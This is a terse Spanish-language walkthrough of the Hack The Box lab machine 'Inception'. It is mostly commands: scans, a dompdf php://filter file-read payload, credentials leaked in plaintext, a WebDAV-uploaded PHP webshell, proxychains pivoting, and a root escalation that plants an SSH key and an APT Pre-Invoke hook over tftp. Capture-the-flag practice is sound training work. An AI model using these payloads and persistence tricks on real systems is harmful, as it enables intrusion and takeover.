Inception

Inception


HTB Linux

nmap -A -p- -oA inception 10.129.1.104 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA inception 10.129.1.104

nmap -sU -O -p- -oA inception-udp 10.129.1.104

nikto -h 10.129.1.104:80

ssh_command.

ssh_command.

whatweb -v http://10.129.1.104

ssh_command.

http://10.129.1.104/dompdf/

ssh_command.

searcshploit dompdf

searchsploit -m 33004

ssh_command.

curl http://10.129.1.104/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

ssh_command.

python3

0x0016

Vemos que es en el puerto 22

Vemos el archivo proxychains.conf

ssh_command.

proxychains nmap -p22 -sT -Pn -vv -n 127.0.0.1

ssh_command.

Hacemos un base64 -d de 000-default.conf

ssh_command.

Hacemos lo mismo para webda.passwd y conseguimos las credenciales.

ssh_command.

Credenciales -> webdav_tester:babygurl69

ssh_command.

Creamos un archivo de php con el siguiente codigo:

ssh_command.

http://10.129.1.104/webdav_test_inception/cmd.php?cmd=id

ssh_command.

https://github.com/s4vitar/ttyoverhttp

ssh_command.

Cambiamos el codigo con el url correcto en este ejemplo seria 10.129.1.104 al archivo cmd.php. Se cambia la variable result

ssh_command.

El codigo se deberia de ver asi:

ssh_command.

python3 tty_over_http.py

cd /var/www/html/wordpress_4.8.3/

cat wp-config.php

ssh_command.

Credenciales-> root:VwPddNh7xMZyDQoByQL4

ssh_command.

su cobb

Y usamos el password de arriba

ssh_command.

proxychains ssh cobb@127.0.0.1

ssh_command.

Estamos en un contenedor

hostname -I

ssh_command.

touch hostDiscovery.sh

chmod +x hostDiscovery.sh

vim hostDiscovery.sh

ssh_command.

cat hostDiscovery.sh

ssh_command.

./hostDiscovery.sh

ssh_command.

chmod +x portDiscovery.sh

./portDiscovery.sh

ssh_command.

ftp 192.168.0.1

ssh_command.

cat /var/www/html/wordpress_4.8.3/wp-config.php | grep -i password

sudo su

Usamos el password VwPddNh7xMZyDQoByQL4

ssh-keygen

cd /root/.ssh

cat id_rsa.pub

tftp 192.168.0.1

put id_rsa.pub /root/.ssh/authorized_keys

ssh_command.

echo ‘APT::Update::Pre-Invoke {“chmod 600 /root/.ssh/authorized_keys”};’ > access

cat access

ssh_command.

tftp 192.168.0.1

put access /etc/apt/apt.conf.d/access

ssh_command.

ssh root@192.168.0.1

cat /root/root.txt

ssh_command.

© 2025 Cu3rv0x